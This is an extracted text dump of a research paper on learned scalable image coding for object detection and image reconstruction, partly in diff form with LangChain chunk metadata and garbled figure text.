+helps reduce the size of the bitstream associated with y1, while allowing y1 and y2
+to become more disentangled. Making y1 more compact should be indeed beneficial
+for the VCM paradigm, which considers the vision inference as its primary task.
+3
+Proposed Framework
+We propose a DNN-based compression model that supports both object detection and
+input reconstruction tasks. We follow a methodology similar to the two-task scalable
+compression model with latent-space scalability in [11], but with some architectural
+changes. Namely, we feed the feature representation s that is outputted by an in-
+termediate layer of a vision task model directly as an input into our encoder. Fig. 2
+provides a conceptual system architecture for our proposed method, where the base
+latent representation y1 is designated to capture the common information between x
+and s, whereas the enhancement latent representation y2 captures information only
+relevant to x. To be optimal from a compression point of view, the information in y2
+should not have any overlap with the information in y1. In this section, we discuss
+
+Analysis
+Synthesis
+y2
+q(2α; Φα)
+pe(αly1, y2; 0)
+:y1
+qp(yila, s; Φs)
+pe(syi; 0s)the rationale for this compression model with a variational formulation as well as the
+implementation details of the neural network architecture.
+3.1
+Scalable compression model with an alternative variational formulation
+Similar to [14], we derive our formulation from a Bayesian variational inference per-
+spective. Given sample observations of a random variable x, accompanied with a
+generative model p(x | y), one seeks a posterior distribution p(y | x). The poste-
+rior distribution cannot be, in general, expressed in closed form. Therefore, one can
+approximate it using a variational density of q(y | x). One may then parameterize
+the approximate posterior as qφ(y | x; φ) and the generative model distribution as
+pθ(x | y; θ), and consecutively, seek to minimize the Kullback–Leibler (KL) diver-
+gence DKL(qφ(y | x; φ) ∥ pθ(y | x; θ)).
+In our case, the distributions qφ(y1 | x, s; φs) and qφ(y2 | x; φx) are learned by
+the encoder-side analysis transforms ge,s and ge,x, respectively, and are parameterized
+by the weights φs and φx. Both latent representations y1 and y2 are then rounded
+to the closest integer values to obtain ˆy1 and ˆy2 before being fed into an entropy
+coder. During training, we follow the same strategy for quantization as in [15], by re-
+placing the rounding operation with additive uniform random noise to obtain “noisy”
+counterparts of the latent representations, ˜y1 and ˜y2, which approximate ˆy1 and ˆy2.
+At the decoder side, the synthesis transforms gd,x and gd,s learn the marginal
+distributions pθ(x | y1, y2; θx) and pθ(s | y1; θs), both parameterized by the weights
+θx and θs, respectively. Note that y1 is jointly learned from both variables x and s,
+and also is given as an input to both synthesis transforms. Conversely, y2 is only
+extracted from the input image x and is thus given as input only to gd,x.
+We model the variables y1 and y2 using a parametric, fully factorized density
+function as in [3]. More specifically, each element of the latent representations is
+modeled as a zero-mean Gaussian distribution with a standard deviation that is pre-
+dicted from a latent via a hyperprior block. Following the graphical model induced
+in Fig. 2, we model the joint distribution of random variables as pθ(x, s, y1, y2) =
+p(y1)p(y2)pθ(x | y1, y2; θx)pθ(s | y1; θs). In order to approximate the posterior den-
+sities of the latent variables, we factorize the approximate posterior distribution as
+qφ(y1, y2 | x, s) = qφ(y1 | x, s; φs)qφ(y2 | x; φx). Then, the loss function to minimize
+is given by the KL divergence between the approximate posterior qφ(˜y1, ˜y2 | x, s)
+and the true posterior pθ(˜y1, ˜y2 | x, s) over the data distribution p(x, s):
+L = DKL(qφ(˜y1, ˜y2 | x, s) ∥ pθ(˜y1, ˜y2 | x, s) | p(x, s))
+= Ex,s∼p(x,s)
+�
+DKL (qφ(˜y1, ˜y2 | x, s) ∥ pθ(˜y1, ˜y2 | x, s))
+�
+= Ex,s∼p(x,s)E˜y1,˜y2∼qφ
+��
+log qφ(˜y1 | x, s; φs) + log qφ(˜y2 | x; φx)
+�
+−
+�
+log pθ(x | ˜y1, ˜y2; θx)
+�
+��
+�
+Dx
++ log pθ(s | ˜y1; θs)
+�
+��
+�
+Ds
++ log p(˜y1)
+�
+��
+�
+Ry1
++ log p(˜y2)
+�
+��
+�
+Ry2
+��
++ const.
+(1)
+The first parenthesized group of terms within the expectation is zero since the den-
+sities q are a product of uniform densities of unit width, due to perturbation with
+uniform noise during training. The terms labeled Dx and Ds coincide with distortion
+
+Figure 3: Schematic of the proposed neural network architecture. Hyperprior blocks and side
+information bitstreams similar to [3] are also present, but are not visualized here.
+Table 1: Network layer configurations of the encoder and of the decoder.
+Encoder
+Decoder
+ge,s
+ge,x
+gd,s
+gd,x
+No.
+Layer
+In/Out
+Layer
+In/Out
+Layer
+In/Out
+Layer
+In/Out
+1
+conv5s1
+Cs + 3/N
+conv5s2
+3/N
+deconv5s1
+M1/N
+deconv5s2
+M/N
+2
+conv5s1
+N/N
+conv5s2
+N/N
+deconv5s1
+N/N
+deconv5s2
+N/N
+3
+conv5s2
+N/M1
+conv5s2
+N/N
+deconv5s2
+N/Cs
+deconv5s2
+N/N
+4
+conv5s2
+N/M2
+deconv5s2
+N/3
+terms associated with the input image x and feature representation s for the targeted
+vision task, respectively. The terms labeled Ry1 and Ry2 represent the cross-entropy
+values, corresponding to the bit costs of encoding ˜y1 and ˜y2 under the respective
+learned entropy models.
+By linking the parameterized density functions to the transform coding paradigm,
+we observe that the minimization of the KL divergence effectively corresponds to
+optimizing the VCM model for rate-distortion performance associated with both input
+image reconstruction and object detection tasks. In the case of using the MSE metric,
+the distortion terms Dx and Ds in Eq. (1) correspond to closed-form likelihoods, or
+more specifically, to Gaussian distributions (see [15] for relevant discussion). We can
+write the loss function from Eq. (1) compactly as
+L = Ry1 + Ry2 + λ · Dx + γ · Ds,
+(2)
+where the scalars λ and γ denote the Lagrange multipliers corresponding to the
+distortion budgets associated with x and s, respectively.
+3.2
+Implementation of the neural network architecture
+As seen in Fig. 3, we build our neural network architecture based on the approach
+in [3]. We generate the feature representation s ∈ RCs×Hs×Ws by feeding the input
+image x ∈ R3×H×W through the first few layers of a machine vision model, denoted
+as Vfront in Fig. 3. To have a fair comparison with [11], we use the first consecutive
+13 layers of the YOLOv3 [16] object detection model to generate s with Cs = 256
+channels, and spatial dimensions of Hs = H
+8 and Ws = W
+8 .
+The analysis transform ge,s generates the base latent representation y1 using as
+input the channel-wise concatenation of s and Resize(x), where we have chosen a
+spatial bicubic interpolation filter for Resize : R3×H×W → R3×Hs×Ws. The analysis
+
+Encoder
+Decoder
+y2
+92
+2
+ge,a
+Q
+AE
+gd,c
+Enhancement
+Resize
+bitstream
+KS
+y1
+y1
+y1
+ge,s
+AE
+AD
+gd,s
+1
+Q
+Base
+S
+bitstreamtransform ge,x generates the enhancement latent representation y2 using only x as
+input. Next, y1 and y2 are quantized (Q) and fed into an arithmetic encoder (AE),
+which yields the base and enhancement bitstreams, respectively.
+At the decoder side, the respective bitstreams are then fed into an arithmetic
+decoder (AD) in order to reconstruct the base and enhancement latent represen-
+tations ˆy1 and ˆy2. Using ˆy1, the synthesis transform gd,s reconstructs the feature
+representation ˆs, which we feed into the remaining part of the machine vision model,
+denoted as Vback, in order to generate the inference results ˆt. Using the channel-wise
+concatenation of ˆy1 and ˆy2, the synthesis transform gd,x reconstructs the input ˆx.
+As our network architecture builds upon [3], it employs separate hyperprior mod-
+ules for both latent representations y1 and y2. However, these are omitted in Fig. 3
+for brevity. The layer configurations for the hyperprior modules are the same as those
+presented in [3], whereas details on the employed encoder/decoder modules are shown
+in Table 1. We adopt a similar configuration for the encoder/decoder architecture
+as in [3], for our ge,i and gd,i where i = {x, s}. We define the analysis transforms
+ge,i using convolutional layers with 5 × 5 kernels and a stride of 2 (i.e., conv5s2),
+interleaved with generalized divisive normalization (GDN) layers [17]. The synthe-
+sis transforms gd,i consist of transposed convolutional layers for upsampling with a
+stride of 2 (i.e., deconv5s2), interleaved with inverse GDN (IGDN) layers. Note that
+in order to match the spatial dimension of the latent representations, the number
+of layers at the analysis/synthesis transforms both at the encoder and decoder sides
+differ. Table 1 lists the layers used in our model, along with their corresponding input
+and output channel dimensions. In our experiments, we fix N = 192 for all models,
+and vary M1 and M2 depending on the configuration as detailed in Section 4.2.
+4
+Experiments and Results
+4.1
+Experimental setup
+We implemented all DNN-based models using the CompressAI library [18].
+The
+models are trained on randomly cropped patches of size 256×256 from the Vimeo-90K
+[19] dataset, with a batch size of 8. We use an Adam optimizer with an initial learning
+rate of 1 × 10−4, where the rate is reduced by a factor of 10 whenever the decrease in
+validation loss stagnates, up to 4 times, after which we stop training. We use the loss
+function from Eq. 2 with Dx = MSE(x, ˆx) and Ds = MSE(s, ˆs). Our models have
+been trained to operate across a wide range of bit rates by varying the hyperparameter
+λ ∈ {0.0067, 0.0100, 0.0130, 0.0250, 0.0300, 0.0483} and fixing γ = 0.006 · λ.
+To explore how the overall performance changes with our proposed approach under
+various configurations, we vary the number of channels of the base and enhancement
+latent representations (i.e., M1 and M2, respectively), and the number of hyperprior
+blocks employed (i.e., H). We use the tuple (M1, M2, H) to express each configuration.
+Because our proposed approach is built upon [3] for the sake of reduced com-
+putational load, we have reimplemented [11] on top of a comparable base architec-
+ture with its original configuration (128, 64, 1) in order to ensure a fairer compari-
+son. We also compare with the latest standard codecs in intra-only mode using the
+
+0.1
+0.2
+0.3
+0.4
+0.5
+0.6
+0.7
+0.8
+0.9
+1.0
+1.1
+Bits per pixel (bpp)
+51
+52
+53
+54
+mAP@0.5 (%)
+2% margin (53.85%)
+HEVC
+VVC
+Choi et al. [11] (128, 64, 1)
+Ours (64, 192, 2)
+Ours (64, 128, 2)
+Ours (64, 128, 1)
+Ours (128, 64, 1)
+(a)
+0.1
+0.2
+0.3
+0.4
+0.5
+0.6
+0.7
+0.8
+0.9
+1.0
+1.1
+Bits per pixel (bpp)
+30
+31
+32
+33
+34
+35
+36
+PSNR (RGB)
+(b)
+0.1
+0.2
+0.3
+0.4
+0.5
+0.6
+0.7
+0.8
+0.9
+1.0
+1.1
+Bits per pixel (bpp)
+0.955
+0.960
+0.965
+0.970
+0.975
+0.980
+0.985
+0.990
+MS-SSIM (RGB)
+(c)
+Figure 4: Performance comparisons across various metrics. (a) Object detection in terms of mAP
+(IoU=0.5) vs. bpp on the COCO 2014 validation dataset. (b) Input reconstruction in terms of
+PSNR vs. bpp and (c) input reconstruction in terms of MS-SSIM vs. bpp on the Kodak dataset.
+reference implementations of HEVC1 and VVC2 over the quantization parameters
+QP ∈ {22, 25, 28, . . . , 40}.
+We evaluate object detection performance on COCO 2014 validation dataset [20]
+consisting of around 5000 JPEG-compressed images with annotated bounding boxes
+belonging to 80 object categories.
+We resize the input images to 512 × 512 with
+a bilinear interpolation filter before encoding. Additionally, we also evaluate input
+reconstruction performance on all 24 images from the Kodak dataset [21].
+4.2
+Results
+Fig. 4 compares the performance of our models and relevant codecs. Fig. 4(a) shows
+the object detection performance using a rate-accuracy curve in terms of mean average
+precision (mAP) for an Intersection over Union (IoU) threshold of 0.5 versus bits per
+pixel (bpp). Fig. 4(b) and (c) show the input reconstruction performance using rate-
+distortion curves in terms of peak signal-to-noise ratio (PSNR) and MS-SSIM versus
+bpp, respectively.
+For the primary machine vision task, the object detection performance of our
+method with (64, 128, 1) reaches near 2% mAP loss3 (dashed line) at around 0.3
+bpp, whereas Choi et al. [11] with a configuration of (128, 64, 1) reaches a similar
+accuracy at around 0.58 bpp. When repurposed for this compression task, HEVC
+and VVC show relatively poor performance. In comparison with [11], our method
+approximately achieves 55% bit savings at the 2% mAP loss threshold.
+For the secondary input reconstruction task, VVC achieves the best performance
+among all methods for both the PSNR and MS-SSIM metrics. However, our method
+still shows competitive performance at low bpp compared to HEVC and Choi et
+1http://hevc.hhi.fraunhofer.de/svn/svn_HEVCSoftware/tags/HM-16.20+SCM-8.8/
+2https://vcgit.hhi.fraunhofer.de/jvet/VVCSoftware_VTM/-/tags/VTM-12.3.
+3Default performance of YOLOv3 on COCO2014 dataset, including JPEG-compressed images,
+is around 55.85% mAP at 4.80 bpp.
+
+0
+20
+40
+60
+80
+Epochs
+0.0
+0.5
+1.0
+�
+Rdn (y1 | y2)
+Ours (64,192,2)
+Choi et al. [11] (128,64,1)
+(a)
+0
+20
+40
+60
+80
+Epochs
+0.0
+0.5
+1.0
+�
+Rdn (y2 | y1)
+(b)
+Figure 5: Evolution during training of the redundancy metrics (a) �
+Rdn (y1 | y2) and (b) �
+Rdn (y2 |
+y1) discussed in Sec. 5. Both curves in all figures correspond to the models trained with λ = 0.0483.
+(a)
+y2
+y1
+y2
+y1
+−40
+−20
+0
+20
+40
+Ours
+[11]
+(b)
+Figure 6: (a) A sample input image from Kodak [21] and (b) top-8 latent channels ordered by rate
+for the base (y1) and enhancement (y2) latent representations of the models employed in Fig. 5.
+al. [11]. Nonetheless, the performance gap between our method for well-chosen con-
+figurations and the benchmarks increases somewhat for larger bpp. The best con-
+figuration for our method in terms of PSNR is with M2 = 192 channels for the
+enhancement layer. When comparing input reconstruction performance using MS-
+SSIM, all tested configurations of our method show competitive performance with
+respect to HEVC. We note that our worst-performing configuration (M2 = 64) in
+terms of PSNR is still competitive when measured with MS-SSIM.
+In summary, our proposed approach is capable of achieving a significant reduction
+in bit rate for the object detection task at the cost of slight performance degradation
+for the input reconstruction task.
+5
+Insight into Information Flow
+We introduce the redundancy metric Rdn (yi | yj) ≜
+I(yi;yj)
+H(yi)
+= 1 −
+H(yi|yj)
+H(yi) , also
+referred to as the uncertainty coefficient [22] in the literature, which measures what
+portion of the information within yi is redundantly contained in the other variable yj.
+Following the conditional entropy estimation approach employed in [11], we separate
+yi and yj into fibers with a size of m × 1 × 1, where m ∈ {Mi, Mj} is the number
+of channels of the respective latent tensor. Then, we group the fibers for yj into
+K = 128 clusters using the k-means algorithm. Finally, we estimate
+�
+Rdn (yi | yj) = 1 −
+1
+H(yi)
+�
+k∈{1,...,K}
+p(k) H(¯yi | c(¯yj) = k),
+(3)
+where c : RMj×1×1 → {1, . . . , K} is a fixed clustering function, p(k) denotes the ap-
+proximate probability density associated with each cluster k, and (¯yi, ¯yj) is a random
+
+H11Hvariable representing one of L pairs of fibers sampled over 256 images. To estimate
+H(yi), we employ the entropy bottleneck module of [3], and also use it in computing
+the estimate H(¯yi | c(¯yj) = k) ≈ �
+l∈{1,...,L} H(¯y(l)
+i ) δ[c(¯y(l)
+j ) − k].
+We compare the evolution of the aforementioned metric during training for our
+method and for the benchmark model [11]. As Fig. 5(a) shows, �
+Rdn (y1 | y2) sta-
+bilizes near the desired value of zero for our method, whereas it is larger for [11].
+Conversely, as Fig. 5(b) shows, �
+Rdn (y2 | y1) stabilizes near one for our method,
+and zero for [11]. This confirms that our proposed approach yields a more compact
+base latent representation, while producing a suboptimal enhancement latent repre-
+sentation. Furthermore, it affirms that the model from [11] offers a more graceful
+degradation in the context of image reconstruction quality as its enhancement latent
+representation contains less redundancy compared to ours. Although the loss in cod-
+ing efficiency due to scalability has been previously studied in [11], we argue that our
+way of looking into information flow through an information-theoretic lens provides
+deeper understanding about degree of redundancy between the latent representations.
+Fig. 6 visualizes the top-8 channels, ordered by rate, of the base and enhancement
+latent representations for both our method and the one in [11]. For our approach,
+y1 contains very little visible image structure, suggesting that it is well optimized for
+the object detection task. Without achieving comparative gains in task accuracy, as
+seen in Fig. 4, [11] produces significant visible image structure within y1, leading to
+a significantly higher bit cost for the base bitstream. Thus, our method efficiently
+encodes only what is necessary for a given task within its respective bitstream.
+6
+Conclusion
+This paper presents a DNN-based image codec with a new variational formulation,
+offering latent-space scalability for human and machine vision tasks by disentangling
+the learned latent representations. For this end, the information related to the object
+detection task is extracted at the encoder side to be used as an additional input,
+together with original input image, to a learned transform at the encoder. As such,
+compared to the state-of-the-art benchmark in [11], we achieve significant bit re-
+ductions at the base layer bitstream for the object detection task, hence yielding a
+desirable scalable image codec for the VCM paradigm. Additionally, we introduce an
+information-theoretic metric to analyze the characteristics of the amount of redun-
+dancy between two learned latent representations. We leave the investigation of how
+to further improve image reconstruction quality while not compromising the object
+detection performance for future work.
+References
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+

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+page_content='Learned Disentangled Latent Representations for Scalable  Image Coding for Humans and Machines  Ezgi ¨Ozyılkan1,†,∗, Mateen Ulhaq1,‡,∗, Hyomin Choi∗, and Fabien Racap´e∗  †Dept.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' of Electrical and Computer Engineering, New York University  ‡School of Engineering Science, Simon Fraser University  ∗ InterDigital - Emerging Technologies Lab  eo2135@nyu.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='edu, mulhaq@sfu.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='ca, {hyomin.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='choi, fabien.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='racape}@interdigital.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='com  Abstract  As an increasing amount of image and video content will be analyzed by machines, there is  demand for a new codec paradigm that is capable of compressing visual input primarily for  the purpose of computer vision inference, while secondarily supporting input reconstruction.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  In this work, we propose a learned compression architecture that can be used to build such  a codec.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' We introduce a novel variational formulation that explicitly takes feature data  relevant to the desired inference task as input at the encoder side.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' As such, our learned  scalable image codec encodes and transmits two disentangled latent representations for  object detection and input reconstruction.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' We note that compared to relevant benchmarks,  our proposed scheme yields a more compact latent representation that is specialized for the  inference task.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Our experiments show that our proposed system achieves a bit rate savings  of 40.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='6% on the primary object detection task compared to the current state-of-the-art,  albeit with some degradation in performance for the secondary input reconstruction task.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  1  Introduction  It is projected that an increasing amount of captured visual content will be ana-  lyzed by machines in order to conduct vision analytics (e.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='g.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=', object detection, image  classification, segmentation), instead of being solely viewed by humans [1].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Since re-  cent advances in artificial intelligence using deep neural networks (DNNs) necessitate  heavy computational resource usage, such machine analytics tasks may need to be  offloaded to a remote server.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' For example, low-end devices on the Internet of Things  (IoT) record a significant amount of visual content that needs to be transmitted to a  remote server to be analyzed and/or stored.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' To address the heavy communication re-  quirements of such systems, new compression schemes and standards activities such  as MPEG Video Coding for Machines (VCM) [2] have emerged, and have become  attractive areas of research in recent years.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  At the same time, DNN-aided data-driven image compression algorithms [3, 4]  have attracted considerable research interest as they outperform the rate-distortion  (RD) performance of off-the-shelf image codecs such as JPEG2000 [5] and HEVC  Intra coding [6] across various experimental setups.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Such DNN-based compression  approaches are typically optimized for mean squared error (MSE) and/or multi-scale  1Contributed equally to this work.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  This work was done while E.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' ¨Ozyılkan and M.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Ulhaq were interns at InterDigital.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  arXiv:2301.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='04183v1  [eess.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='IV]  10 Jan 2023  (a)  (b)  (c)  Figure 1: Various methods to separate information into task-relevant data for multiple tasks in  a scalable manner.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' The data separation is achieved by (a) generating feature data s alongside a  residual r = x− ˜x which encodes the error in the decoder-side reconstruction ˜x of the original input  x, (b) transforming x with a single learned encoder, and (c) transforming x and s with two learned  encoders into two latent representations {y1, y2}.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Dotted lines denote the decoder operations.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  structural similarity index (MS-SSIM) [7], which are used as distortion metrics be-  tween the original and reconstructed images within the loss function.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Moreover, in  the case of DNN-based compression models targeting a machine vision task, the dis-  tortion metric is simply replaced with a task-specific loss, as in [8,9].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' More recently,  the studies in [10, 11] present DNN-based scalable compression frameworks that si-  multaneously support multiple tasks through scalable bitstreams sent to the decoder.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  For example, in [11], the base layer bitstream is transmitted to the decoder for the ob-  ject detection task, and the enhancement layer bitstream is additionally transmitted  only when the reconstruction of input images is required.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' To optimize the compres-  sion performance of such a scalable system, the compression model must learn how  to separate the information into different parts necessary for each task without any  significant overlap.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  In this work, we propose a two-task scalable image codec with a new variational  formulation alternative to the current state-of-the-art proposed in [11].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Our scalable  codec provides a base layer supporting a machine vision task, with significant gains  in RD-performance compared to relevant benchmarks, and an enhancement layer  supporting an input reconstruction task.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' In Section 2, we briefly summarize the most  relevant prior work.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Our proposed method is then described in detail in Section 3,  followed by comprehensive experimental results with various configurations of our  model detailed in Section 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  Furthermore, in Section 5, we present an in-depth  comparison of our model with the most relevant benchmark from an information-  theoretic perspective.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Finally, in Section 6 we conclude on the analyzed approaches  and suggest possible future research directions.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  2  Related Work  Different approaches have been explored in the literature in order to build codecs that  separate the information into multiple parts associated with corresponding end tasks,  some of which are shown in Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' For example, Yan et al.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' [10] adopts a scheme  shown in Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 1(a) in which the feature representation s, designated for a vision task,  is extracted from the input x with a learned transform, in order to be consecutively  compressed and transmitted to the decoder.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Therefore, at the decoder, s is used as an  input to a computer vision network.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Additionally, an estimate of the input ˜x can be  r  ry2  →  S  y1-  y2  y1  SFigure 2: VAE-style compression model for our proposed method with latent-space scalability.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  determined from s using an auxiliary module.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Using this estimate, an encoder may  also compress and transmit a residual r = x− ˜x.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' At the decoder side, r may be used  in conjunction with the previously transmitted s in order to reconstruct the input x.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  However, in this scheme, the optimality of r with respect to the image reconstruction  task depends on how well ˜x can be reconstructed from the feature representation s.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  Choi et al.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' [11] introduce a latent-space scalable codec based on the Cheng et  al.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' [4] architecture.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' As shown in Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 1(b), a single learned transform in the encoder  maps the input x into a latent space consisting of two learned latent representations  y1 and y2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' To carry out the machine vision task at the decoder side, y1 is subse-  quently fed into another learned transform, referred to as latent-space transform, in  order to obtain an estimate of s, which will be used as an input to a computer vision  network.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' For the input reconstruction task, both latent representations y1 and y2 are  concatenated and used as input to a pixel reconstruction decoder.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
